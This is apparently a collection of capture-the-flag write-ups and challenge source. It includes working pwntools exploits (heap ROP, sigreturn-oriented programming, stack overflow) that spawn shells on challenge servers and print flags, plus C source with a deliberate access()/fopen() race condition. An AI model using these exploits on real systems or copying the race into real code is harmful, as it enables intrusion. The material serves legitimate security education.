"system("/bin/sh\0");" 184 | rop = ROP(libc) 185 | binsh = next(libc.search(b"/bin/sh\x00")) 186 | ret = rop.find_gadget(['ret']).address 187 | system = libc.symbols['system'] 188 | poprdi = rop.find_gadget(["pop rdi", "ret"]).address 189 | payload = flat(main_ret_addr, ret, poprdi, binsh, system) 190 | 191 | # Allocate the first entry in t-cache 192 | allocate_chunk(r, 1, 64, b'aaa') 193 | 194 | # Alocate a chunk overlapping with the main return address in the stack 195 | allocate_chunk(r, 1, 64, payload) 196 | 197 | # Exit to make main return and get a shell 198 | r.recvuntil(b"choice : \n") 199 | r.sendline(b'4') 200 | log.info("Enjoy your $hell ;)") 201 | r.interactive() 202 | 203 | 204 | if __name__ == "__main__": 205 | main() 206 | ``` 207 | # Flag 208 | 209 | ``` 210 | shellmates{S3E_Y0U_DONt_n33d_H00Ks_TO_pWN_the_HeAP} 211 | ``` 212 | -------------------------------------------------------------------------------- /shellmates/slippery-rope/README.md: -------------------------------------------------------------------------------- 1 | # Slippery-rope 2 | 3 | ### Description 4 | Challenge : [Slippery-rope](https://gofile.io/d/W0FlmR)
5 | Category : Pwn (binary exploitation)
6 | Hint : Sigreturn Oriented Programming
7 | 8 | ``` 9 | $ ./slippery-rope 10 | .---------------------[ Slippery Rope ]---------------------. 11 | | \\// \\// | 12 | | // // | 13 | | //\\ //\\ | 14 | | \\// _ _ \\// | 15 | | // ___| (_)_ __ _ __ ___ _ __ _ _ // | 16 | | //\\ / __| | | '_ \| '_ \ / _ \ '__| | | | //\\ | 17 | | \\// \__ \ | | |_) | |_) | __/ | | |_| | \\// | 18 | | // |___/_|_| .__/| .__/ \___|_| \__, | // | 19 | | //\\ |_| |_| |___/ //\\ | 20 | | \\// _ __ ___ _ __ ___ \\// | 21 | | // | '__/ _ \| '_ \ / _ \ // | 22 | | //\\ | | | (_) | |_) | __/ //\\ | 23 | | \\// |_| \___/| .__/ \___| \\// | 24 | | // |_| // | 25 | | //\\ //\\ | 26 | | \\// \\// | 27 | | // // | 28 | | //\\ //\\ | 29 | '-------------------------[ by hfz ]------------------------' 30 | Dude I can't climb, that rope is so slippery... what should I do? 31 | > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 32 | I already tried to "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", but it didn't work :/ 33 | Thanks anyways <: 34 | ``` 35 | This is a 64-bit stripped binary with only NX enabled, when executed, it takes some input and prints it back then exits
36 | ### Static analysis 37 | ``` 38 | $ objdump -d -M intel ./slippery-rope 39 | 40 | ./slippery-rope: file format elf64-x86-64 41 | 42 | Disassembly of section .text: 43 | 44 | 00000000004000f0 <.text>: 45 | 4000f0: b8 01 00 00 00 mov eax,0x1 46 | 4000f5: bf 01 00 00 00 mov edi,0x1 47 | 4000fa: 48 be b8 01 60 00 00 movabs rsi,0x6001b8 48 | 400101: 00 00 00 49 | 400104: ba d8 04 00 00 mov edx,0x4d8 50 | 400109: 0f 05 syscall 51 | 40010b: e8 0a 00 00 00 call 0x40011a 52 | 400110: 48 31 ff xor rdi,rdi 53 | 400113: b8 3c 00 00 00 mov eax,0x3c 54 | 400118: 0f 05 syscall 55 | 40011a: 55 push rbp 56 | 40011b: 48 89 e5 mov rbp,rsp 57 | 40011e: 48 81 ec c8 00 00 00 sub rsp,0xc8 58 | 400125: b8 01 00 00 00 mov eax,0x1 59 | 40012a: bf 01 00 00 00 mov edi,0x1 60 | 40012f: 48 be 91 06 60 00 00 movabs rsi,0x600691 61 | 400136: 00 00 00 62 | 400139: ba 45 00 00 00 mov edx,0x45 63 | 40013e: 0f 05 syscall 64 | 400140: 48 31 c0 xor rax,rax 65 | 400143: 48 31 ff xor rdi,rdi 66 | 400146: 48 89 e6 mov rsi,rsp 67 | 400149: ba 00 02 00 00 mov edx,0x200 68 | 40014e: 0f 05 syscall 69 | 400150: 80 7c 04 ff 0a cmp BYTE PTR [rsp+rax*1-0x1],0xa 70 | 400155: 75 08 jne 0x40015f 71 | 400157: c6 44 04 ff 00 mov BYTE PTR [rsp+rax*1-0x1],0x0 72 | 40015c: 48 ff c8 dec rax 73 | 40015f: b9 14 00 00 00 mov ecx,0x14 74 | 400164: 48 bf b8 01 60 00 00 movabs rdi,0x6001b8 75 | 40016b: 00 00 00 76 | 40016e: 48 be d6 06 60 00 00 movabs rsi,0x6006d6 77 | 400175: 00 00 00 78 | 400178: f3 a4 rep movs BYTE PTR es:[rdi],BYTE PTR ds:[rsi] 79 | 40017a: 48 89 c1 mov rcx,rax 80 | 40017d: 48 89 e6 mov rsi,rsp 81 | 400180: f3 a4 rep movs BYTE PTR es:[rdi],BYTE PTR ds:[rsi] 82 | 400182: b9 2c 00 00 00 mov ecx,0x2c 83 | 400187: 48 be ea 06 60 00 00 movabs rsi,0x6006ea 84 | 40018e: 00 00 00 85 | 400191: f3 a4 rep movs BYTE PTR es:[rdi],BYTE PTR ds:[rsi] 86 | 400193: 48 89 fa mov rdx,rdi 87 | 400196: 48 81 ea b8 01 60 00 sub rdx,0x6001b8 88 | 40019d: b8 01 00 00 00 mov eax,0x1 89 | 4001a2: bf 01 00 00 00 mov edi,0x1 90 | 4001a7: 48 be b8 01 60 00 00 movabs rsi,0x6001b8 91 | 4001ae: 00 00 00 92 | 4001b1: 0f 05 syscall 93 | 4001b3: c9 leave 94 | 4001b4: c3 ret 95 | 4001b5: 58 pop rax 96 | 4001b6: c3 ret 97 | ``` 98 | After reading the assembly code We can notice 3 important things:
99 | 1_ The buffer-overflow (the stack only allocates 200 bytes, but the read syscall reads 512 bytes)
100 | 2_ No libc linked (the binary only uses syscalls, so we can't ret2libc)
101 | 3_ There are only 2 gadgets, not enough for a ROPchain, but enough to get a shell!
102 | 103 | ### Exploitation 104 | As the hint suggests, the way to exploit this challenge is Sigreturn Oriented Programming, 105 | the sigreturn syscall is used to restore registers' values previously saved on the stack, so we can 106 | write the string '/bin/sh' to the stack and create a fake frame on the stack and call the sigreturn syscall 107 | (using 'pop rax; ret;' and 'syscall' gadgets) which will set the required registers' values to execute 108 | an execve('/bin/sh', 0, 0) syscall and pop a shell! 109 | ```python 110 | #!/usr/bin/env python2 111 | 112 | from pwn import * 113 | 114 | exe = ELF("./slippery-rope") 115 | context.binary = exe 116 | 117 | pop_rax_ret = 0x4001b5 118 | syscall_ret = 0x4001b1 119 | 120 | def conn(): 121 | if args.LOCAL: 122 | return process([exe.path]) 123 | else: 124 | return remote("pwn.hfz-1337.ninja", 1337) 125 | 126 | 127 | def main(): 128 | r = conn() 129 | 130 | #fake frame to set the registers 131 | frame = SigreturnFrame() 132 | frame.rax = 59 # the execve syscall 133 | frame.rdi = 0x6001cc # the address of '/bin/sh\0' 134 | frame.rsi = 0 135 | frame.rdx = 0 136 | frame.rip = syscall_ret 137 | 138 | payload = '/bin/bash\0'.ljust(208, 'a') 139 | payload += p64(pop_rax_ret) 140 | payload += p64(15) #the sigreturn syscall 141 | payload += p64(syscall_ret) 142 | payload += str(frame) 143 | 144 | r.recvuntil('> ') 145 | r.sendline(payload) 146 | r.interactive() 147 | 148 | if __name__ == "__main__": 149 | ``` 150 | ### Flag 151 | ``` 152 | $ ./exploit.py 153 | [*] '/home/shell/Documents/shellmates/slippery-rope' 154 | Arch: amd64-64-little 155 | RELRO: No RELRO 156 | Stack: No canary found 157 | NX: NX enabled 158 | PIE: No PIE (0x400000) 159 | [+] Opening connection to pwn.hfz-1337.ninja on port 1337: Done 160 | [*] Switching to interactive mode 161 | \x00I already tried to "/bin/bash\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb5@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, but it didn't work :/ 162 | Thanks anyways <: 163 | \x00 164 | $ id 165 | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) 166 | $ ls 167 | flag.txt 168 | slippery_rope 169 | $ cat flag.txt 170 | shellmates{th4nKs_m8_n0w_1_c4n_cl1mb_th4T_r0p3_0f05} 171 | Related research paper: https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf 172 | $ exit 173 | ``` 174 | -------------------------------------------------------------------------------- /shellmates/tr0ll_gu3ssing/README.md: -------------------------------------------------------------------------------- 1 | # Tr0ll gu3ssing 2 | 3 | ### Description 4 | Challenge : [Tr0ll gu3ssing](./tr0ll_gu3ssing)
5 | Category : Pwn
6 | Your task is to find the password without getting trolled, Can you do it?
7 | Connect here to see: 3.91.133.232 4001
8 | 9 | ![alt challenge](./tr0ll_gu3ssing.jpg) 10 | 11 | ### Playing with the binary 12 | 13 | ``` 14 | $ file tr0ll_gu3ssing 15 | tr0ll_gu3ssing: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter 16 | /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7c962869e837557961eed8c73b617c0b4da0a43a, not stripped 17 | $ checksec --file=tr0ll_gu3ssing 18 | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols 19 | Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 74) Symbols 20 | ``` 21 | When we execute the binary locally, it keeps asking for a password 22 | ``` 23 | $ ./tr0ll_gu3ssing 24 | Can you guess the password : password 25 | Wrong ! 26 | Can you guess the password : ^C 27 | ``` 28 | So I opened the binary in Ghidra and I found that the main() function calls rand_str() function in a while loop which generates
29 | 31 random numbers and uses them to construct a 31 bytes long password and waits for input, if we can guess the random password
30 | it will execute system("/bin/cat flag.txt") and give us the flag. At first glance I noticed that the srand() function is using
31 | a constant as a seed, which means the random numbers will be repeated for every execution of the program and the passwords too
32 | ```C 33 | undefined8 main(void) 34 | 35 | { 36 | int iVar1; 37 | char local_48 [32]; 38 | undefined8 local_28; 39 | undefined8 local_20; 40 | undefined8 local_18; 41 | undefined8 local_10; 42 | 43 | local_28 = 0x7461632f6e69622f; //These lines represent 44 | local_20 = 0x78742e67616c6620; //the string "/bin/cat flag.txt" 45 | local_18 = 0x74; // 46 | local_10 = 0; // 47 | setup(); 48 | srand(0xfedcba98); // <== the srand seed is a constant 49 | while( true ) { 50 | rand_str(password,0x1f); 51 | printf("Can you guess the password : "); 52 | __isoc99_scanf(&DAT_00400ab6,local_48); 53 | iVar1 = strcmp(local_48,password); 54 | if (iVar1 == 0) break; 55 | puts("Wrong !"); 56 | } 57 | system((char *)&local_28); //This lines executes "/bin/cat flag.txt" 58 | return 0; 59 | } 60 | ``` 61 | So I executed the program with ltrace to copy the password, than executed the program again to enter the password 62 | ``` 63 | $ ltrace ./tr0ll_gu3ssing 64 | setvbuf(0x7f8175d56500, 0, 2, 0) = 0 65 | setvbuf(0x7f8175d56420, 0, 2, 0) = 0 66 | srand(0xfedcba98, 0, 0, 3072) = 0 67 | rand(0x6010b0, 31, 30, 0xffffffff) = 0x349fd0f7 68 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 29, 0x7ffd255acff0) = 0x21c7f95e 69 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 28, 0x7ffd255acff0) = 0x54e61835 70 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 27, 0x7ffd255acff0) = 0x4b7b9ebd 71 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 26, 0x7ffd255acff0) = 0x228d91b9 72 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 25, 0x7ffd255acff0) = 0x6c61ddb 73 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 24, 0x7ffd255acff0) = 0x2ed20179 74 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 23, 0x7ffd255acff0) = 0xb9716cb 75 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 22, 0x7ffd255acff0) = 0xfd12d8 76 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 21, 0x7ffd255acff0) = 0x7e7d104c 77 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 20, 0x7ffd255acff0) = 0x311d19a4 78 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 19, 0x7ffd255acff0) = 0x246dc994 79 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 18, 0x7ffd255acff0) = 0x22944d10 80 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 17, 0x7ffd255acff0) = 0x50177ec7 81 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 16, 0x7ffd255acff0) = 0x77677ea4 82 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 15, 0x7ffd255acff0) = 0x3e78d0eb 83 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 14, 0x7ffd255acff0) = 0x3813b56 84 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 13, 0x7ffd255acff0) = 0x3f6dc89 85 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 12, 0x7ffd255acff0) = 0x324c42e8 86 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 11, 0x7ffd255acff0) = 0x2590bee1 87 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 10, 0x7ffd255acff0) = 0x238078f5 88 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 9, 0x7ffd255acff0) = 0x75cff8db 89 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 8, 0x7ffd255acff0) = 0x5f982bb7 90 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 7, 0x7ffd255acff0) = 0x33b26bc4 91 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 6, 0x7ffd255acff0) = 0x729ab7d8 92 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 5, 0x7ffd255acff0) = 0x345fb224 93 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 4, 0x7ffd255acff0) = 0x16cb4791 94 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 3, 0x7ffd255acff0) = 0x5a597d0 95 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 2, 0x7ffd255acff0) = 0x11cc008c 96 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 1, 0x7ffd255acff0) = 0x752d837e 97 | rand(0x7f8175d555a0, 0x7ffd255acfb4, 0, 0x7ffd255acff0) = 0x757a8394 98 | printf("Can you guess the password : "Can you guess the password : ) = 29 99 | __isoc99_scanf(0x400ab6, 0x7ffd255ad060, 0, 0password 100 | ) = 1 101 | strcmp("password", "pgFAg3m50ZnhgCVu11oihVKpTpb28UU") = -6 // <== here is the first generated password 102 | puts("Wrong !" ^C 103 | --- SIGINT (Interrupt) --- 104 | +++ killed by SIGINT +++ 105 | $ ./tr0ll_gu3ssing 106 | Can you guess the password : pgFAg3m50ZnhgCVu11oihVKpTpb28UU 107 | /bin/cat: flag.txt: No such file or directory 108 | ``` 109 | Cool! Now let's try it in the remote host 110 | ``` 111 | $ nc 3.91.133.232 4001 112 | Can you guess the password : pgFAg3m50ZnhgCVu11oihVKpTpb28UU 113 | We've been tricked, we've been backstabbed and we've been quite possibly, bambooozled. 114 | ``` 115 | It seems that the flag.txt file was just a trap, this is a pwn challenge afterall, and all we did until now is reversing
116 | so let's try something different, notice that the main() function uses scanf() for input, and there is no length check!
117 | We have a buffer-overflow with no stack-canary and with PIE disabled, so let's write an exploit:
118 | ### Exploit 119 | 1_ overwrite the return address with system() gadget address.
120 | 2_ overwrite the "/bin/cat flag.txt" string with "/bin/bash\0".
121 | 3_ enter the right password for the 3rd iteration to break the loop and get a shell.
122 | ```python3 123 | #!/usr/bin/env python3 124 | 125 | from pwn import * 126 | 127 | log.info(ELF("./tr0ll_gu3ssing").checksec()) 128 | 129 | io = remote('3.91.133.232', 4001) 130 | 131 | system_gadget = p32(0x400870) 132 | 133 | log.info('Overwriting the return address with system() gadget address') 134 | io.sendline('A'*0x48 + str(system_gadget)) 135 | 136 | log.info('Overwriting the string "/bin/cat flag.txt" with "/bin/bash\0"') 137 | io.sendline('A'*0x20 + '/bin/bash') 138 | 139 | log.info('Sending the 3rd password to break the loop') 140 | io.sendline('IQ0RiDmPhQKcCi4RSXvK75mHxor2y6t') 141 | 142 | io.interactive() 143 | io.close() 144 | ``` 145 | # Flag 146 | ``` 147 | $ ./exploit.py 148 | [*] '/home/shell/Documents/shellmates/tr0ll_gu3ssing/tr0ll_gu3ssing' 149 | Arch: amd64-64-little 150 | RELRO: Partial RELRO 151 | Stack: No canary found 152 | NX: NX enabled 153 | PIE: No PIE (0x400000) 154 | [*] RELRO: Partial RELRO 155 | Stack: No canary found 156 | NX: NX enabled 157 | PIE: No PIE (0x400000) 158 | [+] Opening connection to 3.91.133.232 on port 4001: Done 159 | [*] Overwriting the return address with system() gadget address 160 | [*] Overwriting the string "/bin/cat flag.txt" with "/bin/bash\x00 161 | [*] Sending the 3rd password to break the loop 162 | [*] Switching to interactive mode 163 | Can you guess the password : Wrong ! 164 | Can you guess the password : Wrong ! 165 | Can you guess the password : $ ls 166 | Th3_acTu4l_fl4G.txt 167 | flag.txt 168 | runserver.sh 169 | tr0ll_gu3ssing 170 | $ cat Th3_acTu4l_fl4G.txt 171 | shellmates{ev3n_sc4nf_ha5_pr0bl3ms} 172 | $ 173 | [*] Closed connection to 3.91.133.232 port 4001 174 | ``` 175 | -------------------------------------------------------------------------------- /shellmates/tictoctou/tictoctou.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "header.h" 7 | 8 | int main(int argc, char** argv) { 9 | unsigned char choice; 10 | 11 | setup(); 12 | clear(); 13 | welcome(); 14 | print_menu(); 15 | 16 | choice = menu_choice(); 17 | while (choice != '0') { 18 | if (choice == '1') { 19 | gameloop(); 20 | 21 | } else { 22 | how_to_play(); 23 | wait_for_user(); 24 | } 25 | 26 | clear(); 27 | print_menu(); 28 | choice = menu_choice(); 29 | } 30 | 31 | goodbye(); 32 | 33 | return 0; 34 | } 35 | 36 | void setup() { 37 | setvbuf(stdin, NULL, _IONBF, 0); 38 | setvbuf(stdout, NULL, _IONBF, 0); 39 | setvbuf(stderr, NULL, _IONBF, 0); 40 | srand(time(NULL)); 41 | } 42 | 43 | void clear() { 44 | puts("\e[1;1H\e[2J"); 45 | } 46 | 47 | void welcome() { 48 | char *msg = ".--------------------------------------------------------------------------------.\n" 49 | "| Welcome to the stupidest version of the classic Tic-Tac-Toe game: Tic-Toc-Tou! |\n" 50 | "| No artificial intelligence behind the bot's moves or anything close to that |\n" 51 | "| It's just, pure pseudo randomness! |\n" 52 | "| That way you'll have a chance to win, maybe. |\n" 53 | "| If you lose, however, you'll be a certified boomer |\n" 54 | "| and you can make a post about it on LinkedIn. (haha lol) |\n" 55 | "| Oh, and before I forget, there's a file on my home directory that contains |\n" 56 | "| some highly sensitive information, everyone is racing in order to get to it |\n" 57 | "| first. Will you be the first one? It's up to you pal. |\n" 58 | "`--------------------------------------------------------------------------------'"; 59 | 60 | puts(msg); 61 | } 62 | 63 | void goodbye() { 64 | puts(byemsg); 65 | } 66 | 67 | void print_menu() { 68 | char *menu = ".-------------- Game menu --------------.\n" 69 | "| |\n" 70 | "| 1. Start new game |\n" 71 | "| 2. How to play |\n" 72 | "| 0. Exit |\n" 73 | "`.......................................'\n" 74 | ">>> "; 75 | printf("%s", menu); 76 | } 77 | 78 | unsigned char getchoice() { 79 | unsigned char c = getchar(); 80 | while (getchar() != '\n'); 81 | 82 | return c; 83 | } 84 | 85 | void draw_board() { 86 | char *fmt = ".---.---.---.\n" 87 | "| %c | %c | %c |\n" 88 | ":---:---:---:\n" 89 | "| %c | %c | %c |\n" 90 | ":---:---:---:\n" 91 | "| %c | %c | %c |\n" 92 | "`---'---'---'\n"; 93 | 94 | printf(fmt, board[0], board[1], board[2], 95 | board[3], board[4], board[5], 96 | board[6], board[7], board[8]); 97 | } 98 | 99 | unsigned char menu_choice() { 100 | unsigned char choice; 101 | 102 | choice = getchoice(); 103 | 104 | while (choice < 48 || choice > 50) { 105 | puts("Invalid option. Please select a valid option from the menu"); 106 | print_menu(); 107 | } 108 | 109 | return choice; 110 | } 111 | 112 | int checkwin() { 113 | unsigned char winner = 0; 114 | 115 | if (board[0] != ' ' && board[0] == board[1] && board[0] == board[2]){ 116 | winner = board[0]; 117 | } else if (board[3] != ' ' && board[3] == board[4] && board[3] == board[5]) { 118 | winner = board[3]; 119 | } else if (board[6] != ' ' && board[6] == board[7] && board[6] == board[8]) { 120 | winner = board[6]; 121 | } else if (board[0] != ' ' && board[0] == board[3] && board[0] == board[6]) { 122 | winner = board[0]; 123 | } else if (board[1] != ' ' && board[1] == board[4] && board[1] == board[7]) { 124 | winner = board[1]; 125 | } else if (board[2] != ' ' && board[2] == board[5] && board[2] == board[8]) { 126 | winner = board[2]; 127 | } else if (board[0] != ' ' && board[0] == board[4] && board[0] == board[8]) { 128 | winner = board[0]; 129 | } else if (board[2] != ' ' && board[2] == board[4] && board[2] == board[6]) { 130 | winner = board[2]; 131 | } 132 | 133 | if (winner == 'O') winner = 1; 134 | else if (winner == 'X') winner = 2; 135 | 136 | return (int)winner; 137 | } 138 | 139 | void gameloop() { 140 | int result, i, j, n; 141 | unsigned char choice; 142 | 143 | memset(board, 32, 9); 144 | 145 | for (i = 0; !(result = checkwin()) && i < 9; i++) { 146 | if (i % 2) { 147 | bot_move(9 - i); 148 | continue; 149 | } 150 | 151 | clear(); 152 | draw_board(); 153 | 154 | printf("Your next move: "); 155 | 156 | choice = getchoice(); 157 | 158 | while (choice < 49 || choice > 57 || board[choice - 49] != ' '){ 159 | printf("Invalid identifier or case occupied, please enter a valid number: "); 160 | choice = getchoice(); 161 | } 162 | 163 | board[choice - 49] = 'O'; 164 | history[i] = choice; 165 | } 166 | 167 | clear(); 168 | draw_board(); 169 | 170 | switch (result){ 171 | case 0: 172 | puts("Tie!"); 173 | break; 174 | case 1: 175 | puts("You WON! But at what cost?"); 176 | break; 177 | case 2: 178 | puts("You lost against a brainless bot, boomer."); 179 | break; 180 | } 181 | 182 | while (choice != 'y' && choice != 'n') { 183 | printf("Do you wish to save the game stats? [y/n] "); 184 | choice = getchoice(); 185 | } 186 | 187 | if (choice == 'y') { 188 | char nickname[128]; 189 | char filepath[128]; 190 | 191 | printf("Enter your nickname: "); 192 | n = read(0, nickname, sizeof(nickname)); 193 | 194 | for (j = n - 1; j > -1 && nickname[j] != '\n'; j--); 195 | nickname[j] = '\0'; 196 | 197 | printf("Enter the file where you'd like to save the game stats (must be a file YOU own): "); 198 | n = read(0, filepath, sizeof(filepath)); 199 | 200 | for (j = n - 1; j > -1 && filepath[j] != '\n'; j--); 201 | filepath[j] = '\0'; 202 | 203 | if (save_stats(nickname, filepath, result, i) == 0) puts("Stats saved successfully."); 204 | else puts("An error have occured, make sure you entered the correct file path."); 205 | wait_for_user(); 206 | } 207 | } 208 | 209 | void how_to_play() { 210 | for (int i = 0; i < 9; i++) board[i] = i + 49; 211 | puts("Cases are numbered like shown: "); 212 | draw_board(); 213 | puts("Just pick the number of the case you want to mark, ez pz."); 214 | } 215 | 216 | void wait_for_user() { 217 | printf("Press enter to continue... "); 218 | while (getchar() != '\n'); 219 | } 220 | 221 | void bot_move(int empty_cells) { 222 | int i = rand() % empty_cells; 223 | int c = -1, j = 0; 224 | 225 | for (j = 0; j < 9 && c != i; j++){ 226 | if (board[j] == ' ') c++; 227 | } 228 | 229 | board[j - 1] = 'X'; 230 | history[9 - empty_cells] = j + 48; 231 | } 232 | 233 | int save_stats(char *nickname, char *filepath, int result, int num_moves) { 234 | time_t t = time(NULL); 235 | struct tm tm = *localtime(&t); 236 | 237 | // Check that the real user have write permissions on that file 238 | if (access(filepath, W_OK) != 0) { 239 | perror("access check failed"); 240 | return -1; 241 | } 242 | 243 | // Since the real user can write to that file, we proceed safely 244 | FILE* f = fopen(filepath, "a"); 245 | if (f == NULL) return -1; 246 | 247 | switch (result){ 248 | case 0: 249 | fprintf(f, "%s TIED against brainless bot on %d-%02d-%02d at %02d:%02d:%02d! Still a boomer...\n", nickname, tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec); 250 | break; 251 | case 1: 252 | fprintf(f, "%s WON against brainless bot on %d-%02d-%02d at %02d:%02d:%02d! Not surprising however.\n", nickname, tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec); 253 | break; 254 | case 2: 255 | fprintf(f, "%s LOST against brainless bot on %d-%02d-%02d at %02d:%02d:%02d! What a shame to lose against pseudo randomness, go play minecraft.\n", nickname, tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec); 256 | break; 257 | } 258 | 259 | fprintf(f, "################# Game stats #################\n"); 260 | for (int j = 0; j < num_moves; j++) { 261 | if (j % 2) { 262 | fprintf(f, "# Brainless Bot (X) plays on case %c #\n", history[j]); 263 | } else { 264 | fprintf(f, "# Human (O) plays on case %c #\n", history[j]); 265 | } 266 | } 267 | fprintf(f, "##############################################\n\n"); 268 | 269 | fclose(f); 270 | 271 | return 0; 272 | } 273 | --------------------------------------------------------------------------------